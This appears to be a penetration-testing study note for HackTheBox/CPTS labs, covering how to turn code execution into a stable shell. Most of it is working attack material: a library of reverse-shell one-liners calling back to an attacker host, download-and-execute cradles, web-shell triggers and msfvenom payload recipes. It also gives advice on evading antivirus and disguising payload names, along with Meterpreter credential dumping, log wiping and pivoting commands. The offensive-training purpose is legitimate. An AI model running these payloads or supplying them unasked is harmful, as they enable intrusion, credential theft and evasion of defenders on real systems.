[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow
Section: 05 of 17 · Focus: Foothold Toolkit — Shells, Payloads, and Metasploit
Previous: Foothold Toolkit — File Transfers · Next: Stage 03 — Service Enumeration
🐚 FOOTHOLD TOOLKIT — Shells, Payloads & Metasploit
The bridge between “I have code execution” and “I have a shell I can actually work in.” A web/injection/upload vuln (STAGE 2) or a service exploit hands me an execution primitive — this section turns that into a caught, stabilised shell, then into a Metasploit session when I want the post-ex toolkit. Rule of thumb: reverse over bind (outbound survives firewalls, inbound rarely does), stabilise before I sudo -l, and treat a web shell as a stepping stone to a real reverse shell, never the end state. Deep dives: 3 - Reverse Shells · 2 - Bind Shells · 4 - Payload Basics · 6 - Crafting Payloads with MSFvenom · 9 - Landing a Web Shell · 8 - Getting a Shell on Linux · 7 - Getting a Shell on Windows. MITRE: T1059 (Command and Scripting Interpreter), T1071 (C2 over Application Layer Protocols), T1105 (Ingress Tool Transfer).
[!note] Env
$LHOST= my tun0 (already exported),$IP= target. Payloads below call back to$LHOSTon 443 (rides egress-allowed HTTPS) or 4444. Match the catch port to the payload port every time — a port mismatch is the #1 “payload ran, no shell” cause.
Shell selection at a glance
| My situation | Reach for |
|---|---|
| Linux RCE, bash present, egress open | bash -i >& /dev/tcp/... → nc catch → python pty |
| Upload to web root | Stage rp-shell.* → browse → fire reverse one-liner |
| Windows RCE, powershell allowed | Nishang Invoke-PowerShellTcp cradle |
| Want post-ex toolkit (hashdump, kiwi, portfwd) | msfvenom meterpreter + multi/handler |
| Egress blocked, internal segment | Bind shell (nc -lvnp + FIFO / socat) |
| Already in a meterpreter session, need more reach | autoroute + socks_proxy, or ligolo-ng/chisel |
| Fragile/lossy link | Stageless payload, or reverse_https |
Reverse-shell one-liner library (catch on nc)
What to look for → an execution primitive (RCE, injection, cron, upload) and which interpreters exist on target — don’t assume nc. On Windows powershell/cmd are always there; Linux almost always has bash + one of python/perl/php.
Enumerate what’s available on target
which python3 python perl php socat nc ncat awk ruby busybox 2>/dev/null
ls -la /usr/bin | grep -iE 'python|perl|php|socat|nc|ruby'
# generate any of these interactively (all languages, url/quote-encoded): https://www.revshells.com
The library — pick the row matching what exists on target
| Target has | One-liner (reverse) | Notes |
|---|---|---|
| bash | bash -i >& /dev/tcp/$LHOST/443 0>&1 | No binary needed; most portable Linux primitive |
| sh only | 0<&196;exec 196<>/dev/tcp/$LHOST/443; sh <&196 >&196 2>&196 | dash/sh-safe variant of /dev/tcp |
nc with -e | nc $LHOST 443 -e /bin/bash | Stripped from most modern builds — test it |
nc without -e | rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/bash -i 2>&1|nc $LHOST 443 >/tmp/f | The module’s FIFO method |
| python3 | python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("$LHOST",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")' | Spawns a pty inline (half-stabilised) |
| python2 | python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("$LHOST",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' | Legacy targets |
| php | php -r '$s=fsockopen("$LHOST",443);exec("/bin/sh -i <&3 >&3 2>&3");' | What a dropped .php web shell pivots to |
| perl | perl -e 'use Socket;$i="$LHOST";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(443,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");' | Near-universal on older *nix |
| ruby | ruby -rsocket -e 'f=TCPSocket.open("$LHOST",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' | macOS + dev stacks |
| socat | socat TCP:$LHOST:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane | Full PTY in ONE hop — best option if present |
| openssl | see TLS block below | Encrypted callback, rides 443 cleanly |
| awk | awk 'BEGIN{s="/inet/tcp/0/$LHOST/443";while(1){do{printf "sh>" |& s;s |& getline c;if(c){while((c |& getline)>0)print \$0 |& s;close(c)}}while(c!="exit");close(s)}}' | Exotic; gawk-only networking |
| busybox | busybox nc $LHOST 443 -e /bin/sh | Embedded/IoT/minimal containers |
| powershell | see Windows block below | Defender signatures the famous one-liner |
Exploit — Linux payloads (drop into whatever the target has)
# bash /dev/tcp — no nc binary needed, the most portable primitive
bash -i >& /dev/tcp/$LHOST/443 0>&1
bash -c 'bash -i >& /dev/tcp/'"$LHOST"'/443 0>&1' # injection-safe wrap
0<&196;exec 196<>/dev/tcp/$LHOST/443; sh <&196 >&196 2>&196 # sh-only fallback
# nc: -e if the build kept it, mkfifo if it didn't (the module's method)
nc $LHOST 443 -e /bin/bash
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc $LHOST 443 > /tmp/f
# python3 — spawns a pty inline (already half-stabilised)
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("'"$LHOST"'",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
# perl / php (php one is what a dropped .php web shell pivots to)
perl -e 'use Socket;$i="'"$LHOST"'";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(443,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
php -r '$s=fsockopen("'"$LHOST"'",443);exec("/bin/sh -i <&3 >&3 2>&3");'
# socat — full PTY in ONE hop (best if socat is on target, see TTY section)
socat TCP:$LHOST:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
# openssl reverse shell — encrypted callback, dodges plaintext IDS on 443
# Pwnbox: openssl req -newkey rsa:2048 -nodes -keyout k.pem -x509 -days 365 -out c.pem
# openssl s_server -quiet -accept 443 -cert c.pem -key k.pem
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $LHOST:443 > /tmp/s; rm /tmp/s
Exploit — Windows payloads
# PowerShell TCPClient one-liner (module's payload — Defender flags it as ScriptContainedMaliciousContent)
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('$LHOST',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}"
# Nishang scripted equivalent — supports -Reverse / -Bind, IPv4+IPv6, no retyping
Invoke-PowerShellTcp -Reverse -IPAddress $LHOST -Port 443
[!tools] Stage this (from
attachments/) nishang-master.zip (SHA-256 · GPG signature) Nishang — offensive PowerShell toolkit;Shells/Invoke-PowerShellTcp.ps1is the reliable Windows reverse/bind shell family (Invoke-PowerShellTcp,-Reverse/-Bind, plus UDP and ICMP variants). Unzip, serve the single.ps1over HTTP, cradle it withIEX (New-Object Net.WebClient).DownloadString(...)— no need to paste the giant one-liner by hand. Siblings worth knowing in the sameShells/folder:Invoke-PowerShellUdp(egress that only allows UDP-shaped flows),Invoke-PoshRatHttp/Invoke-PowerShellIcmp(covert-channel experiments — lab curiosities, loud in practice).
Delivery pattern (serve → cradle → catch)
# Pwnbox: cd into the unzipped nishang/Shells dir, then python3 -m http.server 80
# Target (one line, appends the invocation so the script self-fires on download):
IEX (New-Object Net.WebClient).DownloadString('http://%LHOST%/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress %LHOST% -Port 443
[!warning] Nishang scripts are heavily signatured (AMSI + Defender know
Invoke-PowerShellTcpby name). For a monitored target, rename the function and strip comments first, or go straight to a donut/C2 loader. In CPTS labs: fire as-is, it’s fine.
[!warning] Watch out
nc -e/-cis stripped from most modern builds (Debian/Ubuntunetcat-openbsd) — that’s why themkfifo /tmp/floop exists; reach for it (or socat) when-eerrors.- Bind shells need inbound to the target → NAT + perimeter + host firewalls kill them. Only fall back to a bind shell on an unrestricted internal segment. See 2 - Bind Shells.
- The plaintext PowerShell/nc shells are trivially signatured — a lab Defender blocks them outright, and any packet inspection sees them in clear. Fine for HTB, but for evasion use a staged encrypted channel (meterpreter
reverse_https) or a real C2.- Single-quoted python/perl payloads break shell interpolation of
$LHOST— I splice it with'"$LHOST"'above so it still expands. Paste-check the IP landed before firing.- URL-encode payloads fired through a web RCE parameter —
&,|,;, spaces all mangle in transit (bash -i >& /dev/tcp/...→ encode the&s or base64-wrap:echo <b64> | base64 -d | bash).
Bind shell (fallback for unrestricted internal segments)
What to look for → I can start a listener on the target but can’t get it to dial out (egress fully blocked), and I have a route in.
Exploit
# TARGET listens, serves a shell over the socket (mkfifo, since nc -e is usually gone)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp 7777 > /tmp/f
socat TCP-LISTEN:7777,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,sane # PTY-quality bind
# MY side — connect in
nc -nv $IP 7777
# Windows bind via Nishang (target listens, I connect)
Invoke-PowerShellTcp -Bind -Port 7777
[!warning] Watch out A bare
nc -lvnpproving “connection succeeded” is not a shell until an interpreter is piped through it — that’s the classic “connected but nothing happens.” The FIFO (or socatEXEC:) is what actually binds bash to the socket. And remember the bind listener dies when the shell exits — re-trigger the payload for each reconnect, or wrap it in awhile true; do ... doneloop for resilience on fragile boxes.Also: bind shells are unauthenticated listeners — anyone (including other students on shared HTB ranges, or a scanner) who connects first gets the shell. On shared infrastructure, close the port when done and prefer reverse shells when egress allows.
Web shells — staging the right one for the stack
What to look for → the web technology determines the shell language; the upload path determines whether I browse to it or include it. IIS → .aspx/.asp, Tomcat/Java → .jsp/.war, Apache/Nginx+PHP → .php. The aspnet_client folder, WEB-INF/, or .php in $_SERVER tells are the give-aways. Deep dive: 9 - Landing a Web Shell and sibling note 05 - Web Shells - CPTS Cheat Sheet.
[!tools] Stage this (from
attachments/) rp-shell.php (SHA-256 · GPG signature) rp-shell.asp (SHA-256 · GPG signature) rp-shell.jsp (SHA-256 · GPG signature) nt-webshell-rosepine.aspx (SHA-256 · GPG signature) Custom vault webshells per stack —rp-shell.phpfor PHP apps,rp-shell.aspfor classic-ASP IIS,rp-shell.jspfor Tomcat/JSP containers,nt-webshell-rosepine.aspxfor ASP.NET/IIS. Transfer via the channels in note 04, then browse to the upload path and fire a reverse-shell one-liner from the shell’s command box.
[!note] Language ↔ server mapping (get this right or the shell 404s/500s)
Server / stack Shell to stage Typical upload landing IIS + ASP.NET .aspx(rosepine)C:\inetpub\wwwroot\,/uploads/IIS + classic ASP .aspSame — legacy apps Apache/Nginx + PHP .php/var/www/html/uploads/Tomcat / JSP .jspor deploy.warwebapps/<app>/, manager-deployCMS (WordPress etc.) .phpvia theme/plugin editorwp-content/themes/<theme>/
# Test the shell landed (then pivot to a real reverse shell immediately)
curl "http://$IP/uploads/rp-shell.php?cmd=id"
curl "http://$IP/uploads/rp-shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/443+0>%261'"
[!warning] Watch out
- A web shell is not the end state: it dies with the request, has no job control, and every command is a fresh HTTP hit in the access log. Pivot to a reverse shell ASAP.
- Web shells usually run as the service account (
www-data,apache,IIS APPPOOL\<name>) — expect low privs, and note the shell’s deleted-file artifact: the uploaded.php/.aspxon disk is IOC #1. Clean it up at the end.- Some upload forms rename to a random filename or block by extension — double extensions (
shell.php.jpg), content-type juggling, and filter bypasses live in Stage 02.
Catching the callback (nc / socat / rlwrap / pwncat)
What to look for → a listener up before I trigger the payload, on the exact port the payload targets.
Exploit
sudo nc -lvnp 443 # raw catch (443 needs sudo for <1024)
rlwrap nc -lvnp 443 # +arrow keys, history, line editing on the catch
socat file:`tty`,raw,echo=0 TCP-LISTEN:443 # hands me a real PTY (pairs w/ socat target one-liner)
pwncat-cs -lp 443 # auto-stabilises PTY + layers post-ex (upload/download, persistence)
[!tip] Start the listener, then trigger. If the shell dies the instant it connects, my payload port ≠ my listen port, or a stray old listener/
multi/handlerjob still owns the port (jobs -Kin msf,fuser -k 443/tcpin the shell).
Catching reliably — the failure modes I actually hit
| Symptom | Cause | Fix |
|---|---|---|
| Listener up, payload fires, nothing arrives | Egress filter; wrong $LHOST; payload encoded wrong | Re-check tun0; try 443; test payload locally first |
| Connects then instantly drops | Port mismatch; staged payload caught by bare nc; AV killed the stager | Match ports; use multi/handler for staged; stageless for nc |
| Shell connects, I type, output garbled | No PTY (raw socket) | TTY upgrade (next section) |
| Second trigger gives nothing | First dead session still bound the port | jobs -K / fuser -k <port>/tcp, restart listener |
reverse_https payload won’t stage | TLS interception / proxy auth in the way | Fall back to reverse_tcp on an allowed port, or bind shell |
Listener hygiene (OPSEC + reliability)
- Name your listeners: in
msfconsoleuse a distinctLPORTper engagement leg and log it; on bare nc, keep a mental table ofport → payload → target. On a busy box with 4 callbacks, guessing wrong loses sessions. - Resource scripts (
handler.rc) so a crashedmsfconsoledoesn’t cost the config:# handler.rc — msfconsole -r handler.rc use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST tun0 set LPORT 443 set ExitOnSession false run -j - One port, one purpose: don’t point two different payload types at the same listener port — a staged meterpreter and a raw bash one-liner on 443 will fight over the connection.
- Kill cleanly:
jobs -k <id>in msf,fuser -k 443/tcpon bare listeners. NeverCtrl+Ca live handler.
msfvenom payload factory (format matrix + staging)
What to look for → what the target will actually execute: a binary I can run, or a file a service will interpret. Match the format to the stack — .aspx for IIS/ASP.NET (the aspnet_client folder is the tell), .war/.jsp for Tomcat, .php for a PHP app, .elf/.exe for a direct-run foothold. Full walk-throughs: 6 - Crafting Payloads with MSFvenom · 14 - Introduction to MSFVenom.
Enumerate the exact strings (don’t guess payload/format names)
msfvenom -l payloads | grep -iE 'linux/x64|windows/x64|java|php'
msfvenom -l formats # exe, elf, elf-so, aspx, war, jsp, raw, dll, msi, psh, hta-psh, python ...
msfvenom -l encoders
Payload matrix — OS × arch × staging × format
| Target stack | msfvenom -p | -f | Catcher |
|---|---|---|---|
| Windows x64, direct-run exe | windows/x64/shell_reverse_tcp (stageless) | exe | plain nc OK |
| Windows x64, meterpreter staged | windows/x64/meterpreter/reverse_tcp | exe | multi/handler only |
| Windows x86 (legacy) | windows/meterpreter/reverse_tcp | exe | multi/handler |
| Windows DLL-hijack delivery | windows/x64/meterpreter/reverse_tcp | dll | multi/handler |
| Windows scriptless (psh) | windows/meterpreter/reverse_tcp | psh / psh-net | multi/handler |
| Windows HTA dropper | windows/meterpreter/reverse_tcp | hta-psh | multi/handler |
| IIS / ASP.NET | windows/meterpreter/reverse_tcp | aspx | multi/handler |
| Tomcat | java/jsp_shell_reverse_tcp | war / raw (jsp) | multi/handler (jsp_shell_reverse_tcp catchable by nc too) |
| PHP app | php/reverse_php | raw | plain nc OK |
| Linux x64 stageless | linux/x64/shell_reverse_tcp | elf | plain nc OK |
| Linux x64 staged meterpreter | linux/x64/meterpreter/reverse_tcp | elf | multi/handler |
| Linux shared object (.so injection) | linux/x64/meterpreter/reverse_tcp | elf-so | multi/handler |
| Any python runtime | cmd/unix/reverse_python | raw | plain nc OK |
| Encoded/iterated (bad chars) | … -e x86/shikata_ga_nai -i 10 -b '\x00' | per stack | Bad-char removal ≠ evasion |
Attack — one payload per target stack
# LINUX — standalone ELF (stageless single, self-contained)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f elf -o shell.elf
# WINDOWS — plain reverse-shell EXE (single) vs staged meterpreter EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o met.exe
# IIS / ASP.NET — .aspx (module's anon-FTP→/uploads→browse chain)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=1337 -f aspx -o shell.aspx
# TOMCAT — deployable WAR, or a raw JSP to drop in a webroot
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o shell.war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o shell.jsp
# PHP app — raw payload (prepend "<?php " if the app doesn't wrap it), then browse to it
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php
# python one-liner stager (paste into any python-exec primitive)
msfvenom -p cmd/unix/reverse_python LHOST=$LHOST LPORT=443 -f raw
# encode + iterate + strip bad chars (weak AV evasion — see caveat)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -e x86/shikata_ga_nai -i 10 -b '\x00' -f exe -o t.exe
# DLL for hijack / side-load chains (Stage 09 patterns), HTA for mshta delivery
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o hijack.dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f hta-psh -o drop.hta
[!note] Staged vs stageless — read it in the name
windows/shell/reverse_tcp(extra/) = staged: tiny stager calls back, MSF sends the rest → smaller, more fragile on lossy links, and the catcher must bemulti/handler.windows/shell_reverse_tcp(no inner/) = stageless single: whole payload in one shot → catch with a plainnc. Mixing the two = a hung/dead session. Detail in 6 - Payloads. Reliability note: staged payloads retry the stage download over the same socket — on lossy/latency-spiky pivot chains the stage transfer is what dies, so prefer stageless (orreverse_https) through tunnels.Memory aid: more slashes = more trips. Staged (
meterpreter/reverse_tcp) = two network trips (stager + stage); stageless (shell_reverse_tcp) = one self-contained blob. When AV only scans the dropper, the stager is what gets signatured — but the stage arrives in memory over the C2 channel, which is why staged meterpreter sometimes survives where a stageless exe wouldn’t.
[!warning] Watch out
- Raw msfvenom output has ~zero AV evasion — the module’s own VirusTotal test scored 51/68 even with
-i 10iterations of shikata_ga_nai; every engine namesTrojan:Win32/Meterpreter.A. Encoders are for bad-char removal, not evasion. For evasion use a loader/C2 (donut below, or ScareCrow/Freeze), not-e. Full breakdown: 7 - Encoders.shikata_ga_naionly ranks high because it’s polymorphic per-iteration — the decoder stub itself is signatured, so more iterations change the bytes without changing the verdict. Iterations help against naive pattern matching on the payload body, nothing else.-x <template.exe>(inject into a custom EXE template) preserves template metadata/imports and blends marginally better than a bare output — but a signatured meterpreter inside a legit template is still signatured meterpreter.- Never upload a real assessment payload to public VirusTotal — it leaks the hash/signature to every AV vendor and burns the payload. Use a private detonation env.
-f msi,-f dll, and service-EXE privesc payloads (AlwaysInstallElevated, unquoted paths, DLL group-add) live in STAGE 9 — don’t duplicate them here.- Delivery ≠ generation: msfvenom builds the file, but a dropped
.aspx/.phpon disk is a forensic artifact (the module’s exploit failed to self-delete its.asp) even when meterpreter itself is memory-resident.- Payload naming (T1036):
shell.exescreams. Name drops like something the box would have (update.exe,audiodg.exe,svchost-patch.exe) — and record the real name ↔ purpose mapping in notes for cleanup.- Arch mismatch is a silent killer: a
windows/x64/...payload won’t stage from a 32-bit process (e.g. older app pools,SysWOW64context). When in doubt on legacy IIS/servers, generate x86 — it runs under WOW64 either way.
[!tools] Stage this (from
attachments/) donut_v1.1.zip (SHA-256 · GPG signature) donut — converts PE/DLL/.NET exe → position-independent shellcode. Use-case: when the target won’t run a raw msfvenom exe (AV signature) but I have a shellcode-injection primitive (an exploit,CreateRemoteThreadloader, or a C2 that accepts raw shellcode) — bake the tool (e.g. a .NET assembly) into shellcode and inject instead of dropping. Still not an AV silver bullet: donut’s own loader stub is signatured, so pair it with an injector the environment doesn’t already know.
# donut quick-look (Linux build of the release zip)
./donut -a 3 -f 1 -o payload.bin Rubeus.exe # -a arch(3=x86+amd64), -f 1=raw shellcode
# inject payload.bin with whatever primitive the exploit/C2 provides
Stabilise the TTY (do it before anything interactive)
What to look for → tty says not a tty, no tab-complete, sudo -l/su/ssh misbehave — every raw reverse shell lands like this. This is a summary; the full playbook (PTY allocation, recovery, restricted shells and ConPTY) is in TTY Upgrades & Restricted Shells.
Exploit (fastest paths)
# 1) python pty — the classic
python3 -c 'import pty; pty.spawn("/bin/bash")' # or perl -e 'exec "/bin/sh";' / /bin/sh -i when no python
# 2) script(1) — present when python isn't (util-linux, near-universal)
script -qc /bin/bash /dev/null
# 3) socat one-shot full PTY (correct size, job control, Ctrl+C) — beats the two-step dance:
# MY box: socat file:`tty`,raw,echo=0 TCP-LISTEN:443
# TARGET: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$LHOST:443
# 4) the background/fix/foreground dance after 1) or 2):
# (in shell) Ctrl+Z
stty raw -echo; fg # on MY terminal — then press Enter
export TERM=xterm # in the now-PTY shell
stty rows 40 cols 140 # match MY terminal size — `stty -a` locally tells me the values
# Windows side: ConPtyShell (https://github.com/antonioCoco/ConPtyShell) — a REAL interactive
# reverse shell over ConPTY (tab-complete, arrows, Ctrl+C), not a dumb cmd pipe.
# Requires Windows 10 1809+/Server 2019+ (ConPTY API); older targets fall back to the
# Nishang/plain TCPClient shells above. Serve Invoke-ConPtyShell.ps1, then on target:
IEX(IWR http://%LHOST%/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell %LHOST% 443
# My catch: stty raw -echo; (stty size; cat) | nc -lvnp 443; stty sane # per ConPtyShell README
# (the stty size handshake is how ConPtyShell learns my terminal geometry — don't skip it)
[!tip] A meterpreter
shellthat drops into a service account (apache,www-data,IIS APPPOOL\Web) is non-TTY for the same reason — upgrade it identically before trustingsudo -loutput. Set rows/cols before running full-screen tools (nano,less,msfconsoleover the shell) or display corruption follows.
Upgrade a caught shell to meterpreter — if a raw shell lands and I later decide I want the MSF toolkit:
msf6 > use post/multi/manage/shell_to_meterpreter
msf6 > set SESSION <id-of-caught-shell> ; set LPORT 4445 ; run # upgrades in place
# or simply: sessions -u <id> (same module under the hood)
[!warning] TTY pitfalls
su/ssh/sudo -lhang or silently fail without a PTY — if a command “freezes” the shell, suspect missing PTY before suspecting permissions.Ctrl+Cin a raw shell kills the shell process, not the foreground command — one careless Ctrl+C = reconnect from scratch. After thestty raw -echo; fgdance, Ctrl+C works normally again.- If the shell still echoes double after upgrade, my local
sttydidn’t take — re-runstty raw -echoand hit Enter once to resync.
Metasploit workflow (search → info → set → run)
What to look for → a version-specific service from recon (STAGE 1) that maps to a known MSF module, or an external payload I need to catch. Enumeration comes first — MSF is a tool in the chain, not “click to win.” Deep dives: 4 - Modules · 6 - Payloads · 8 - Databases.
Enumerate + select
msfconsole -q # skip the banner
# (optional) DB-backed: sudo msfdb init; then inside → db_status; workspace -a BOX; db_nmap -sCV $IP; hosts; services
search eternalromance # by keyword (matches Name/desc)
search type:exploit platform:windows cve:2021 rank:excellent # stack filters, all AND-ed
search -S proxylogon # regex filter a big result set
use 0 # pick by index no. (or full path)
info # ALWAYS read before firing — mechanism, refs, side effects
options # Required:yes fields must be set
Configure + fire
setg RHOSTS $IP # global — persists across module swaps (same target run)
set LHOST tun0 # accepts an INTERFACE name, not just an IP
set LPORT 443
show targets; set target 6 # override Automatic once I know the exact build
# swap/inspect the attached payload:
grep meterpreter show payloads # built-in grep to trim hundreds of rows
set payload windows/x64/meterpreter/reverse_tcp
run # (alias: exploit). Add -j to run as a background job (keeps the port/listener alive)
[!warning] Watch out
setvssetg:setdies on module change;setgsticks until console restart — usesetg RHOSTS/setg LHOSTwhen chaining several modules at one host.local_exploit_suggester“appears to be vulnerable” ≠ guaranteed — it’s a candidate list, try them in turn; “service running, could not be validated” is a weaker maybe.- If a module isn’t installed, drop the
.rbfrom Rapid7’s GitHub into/usr/share/metasploit-framework/modules/exploits/<os>/<svc>/andreload_all.checkbeforerunwhen the module supports it — some exploits are single-shot (crash the service, lose the box).
Catch an external payload — multi/handler
What to look for → I delivered a payload outside any MSF exploit module (msfvenom file via upload/FTP/web) and need MSF to catch the callback (for the meterpreter toolkit).
Exploit
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp # MUST equal the msfvenom -p string exactly
msf6 > set LHOST $LHOST ; set LPORT 1337
msf6 > set ExitOnSession false # don't drop the handler when one session dies — keep catching
msf6 > run -j # -j = background job, survives while I trigger the payload
# now trigger: browse to http://$IP/shell.aspx (or run the .exe/.elf / deploy the .war)
[!warning] Watch out The handler payload has to be byte-identical in type to what msfvenom built — staged↔stageless, tcp↔https, x86↔x64 all matter. A mismatch = “sending stage” then silence, or an instant dead session. Same
LPORTon both sides.ExitOnSession falseis the fix for “I got one session, it died, and now nothing catches my re-trigger.”
Sessions, jobs & Meterpreter post-ex
What to look for → a live session I want to keep while I pivot to other work, and the meterpreter command surface once I’ve landed. Deep dives: 10 - Sessions and Jobs · 11 - Meterpreter · cheatsheet meterpreter.
Manage sessions/jobs
# inside a session: background it WITHOUT killing it
meterpreter > background # or bg / [Ctrl]+[Z]
msf6 > sessions # list all footholds (like browser tabs)
msf6 > sessions -i 1 # re-enter session 1
msf6 > jobs -l # running handlers/jobs
msf6 > jobs -k 0 # kill one job (frees its port); jobs -K = kill all
Meterpreter quick-ref
| Command | What it does |
|---|---|
getuid / sysinfo / getprivs | who / where / what privs am I |
ps | find a juicier process to target |
steal_token <pid> | impersonate its token (no migrate) — fast priv bump |
migrate <pid> | move into a stable/privileged process |
getsystem | try built-in SYSTEM escalations |
hashdump | local SAM LM/NTLM (needs SYSTEM) |
load kiwi + creds_all | mimikatz-equiv (SAM/LSA/cached/tickets) — supersedes hashdump |
lsa_dump_sam / lsa_dump_secrets | LSA secrets → service-account plaintext (lateral fuel) |
upload <f> / download <f> | file transfer over the encrypted channel (see note 04) |
portfwd add -l 3300 -p 3389 -r <ip> | forward one internal port to my localhost |
run post/... | run a post module against this session |
shell | drop to a native cmd.exe/bash channel when meterpreter falls short |
execute -f cmd.exe -i -H | spawn a hidden interactive process |
run post/multi/gather/... | loot modules against this session |
resource <script.rc> | replay a saved command set inside the session |
clearev | wipe Windows event logs — loud & destructive; rarely in scope |
webcam_list / screenshot | situational awareness on user workstations (scope-dependent) |
timestomp <f> | alter file MAC times — forensic-evasion, rarely scoped |
Local privesc via a backgrounded session
meterpreter > bg
msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1 ; run # post modules take SESSION, not RHOSTS
msf6 > use exploit/windows/local/ms15_051_client_copy_image
msf6 > set SESSION 1 ; set LPORT 1338 ; run # fresh LPORT avoids collision with the first handler
[!warning] Watch out
getuid→ “Access is denied” means low-priv context (web app pool), not a broken session — checkpsfor a better token before reaching for a full local exploit.meterpreter > whoamifails (“Unknown command”) — it’s not a Windows CLI, usegetuid. Useshellwhen you genuinely need native commands.- Never
Ctrl+Ca live handler — it can leave the port bound with no usable session. Background withbg/jobs, kill withjobs -k.kiwineeds the session to be x64 + SYSTEM for full cred material; on x86 sessionsmigrateinto an x64 process first.
Pivot with a Meterpreter session (autoroute / portfwd / SOCKS)
What to look for → a compromised host with a second NIC / route into an internal subnet I can’t reach directly. This is the MSF-native pivot; for raw L3 (full nmap, no proxychains) I prefer Ligolo-ng / Chisel in STAGE 10 — use this when I’m already living in msfconsole. Full tables: Tunneling.
Exploit
# route MSF's own traffic through session 1 into the internal net
meterpreter > run autoroute -s 172.16.5.0/24 # quick form
meterpreter > bg
msf6 > use post/multi/manage/autoroute # module form
msf6 > set SESSION 1 ; set SUBNET 172.16.5.0 ; run
# forward a single internal port to my localhost (e.g. reach internal RDP)
meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19 # then: xfreerdp /v:127.0.0.1:3300 ...
# full SOCKS so ANY external tool reaches the internal net
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080 ; set VERSION 5 ; run -j
# /etc/proxychains4.conf → socks5 127.0.0.1 1080
proxychains nmap -sT -Pn -n -p445,3389,5985 172.16.5.19
proxychains evil-winrm -i 172.16.5.19 -u "$U" -p "$P"
[!warning] Watch out
autorouteonly routes traffic originating inside MSF — external tools (nmap, evil-winrm, impacket) need thesocks_proxy+proxychainscombo, not just the route.- SOCKS is TCP-only → nmap through it must be
-sT -Pn -n(no SYN, no ICMP) or you get empty results — same constraint as the chisel/Ligolo SOCKS path in STAGE 10.portfwdis per-port and stacks up fast; for sweeping an internal subnet, a full SOCKS proxy (or Ligolo’s L3 interface) beats a pile of forwards.
Callbacks through a pivot — ligolo-ng & chisel
What to look for → I’ve pivoted to an internal segment (Stage 10) and now need shells from those internal hosts to reach my MSF/nc listeners. The traffic has to ride the tunnel back — this is the “callback through the pivot” pattern. Full setup lives in Stage 10; the shell-side notes here.
[!tools] Stage this (from
attachments/) ligolo-ng_agent_linux_amd64.tar.gz (SHA-256 · GPG signature) ligolo-ng_agent_windows_amd64.zip (SHA-256 · GPG signature) chisel.exe (SHA-256 · GPG signature) chisel_linux_amd64 (SHA-256 · GPG signature) ligolo-ng agents (per-OS) for TUN-based L3 pivoting, and chisel binaries for TCP/UDP-over-HTTP tunnels + reverse SOCKS.
# ── chisel reverse SOCKS (pivot host calls OUT to me; I reach in via SOCKS) ──
chisel server -p 8443 --reverse # Pwnbox
chisel client $LHOST:8443 R:socks # pivot host → SOCKS5 on 127.0.0.1:1080
# ── catching a shell from a DEEP internal host: chisel remote port-forward ──
chisel client $LHOST:8443 R:4444:127.0.0.1:4444 # deep host dials Pwnbox:4444 via pivot
# ── ligolo-ng: add a listener on the agent that relays to my handler ──
ligolo-ng » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 # in the agent session
# now generate payloads with LHOST=<pivot host's internal IP> LPORT=4444 — the callback
# lands on the agent's listener and relays down the tunnel to my nc/multi-handler.
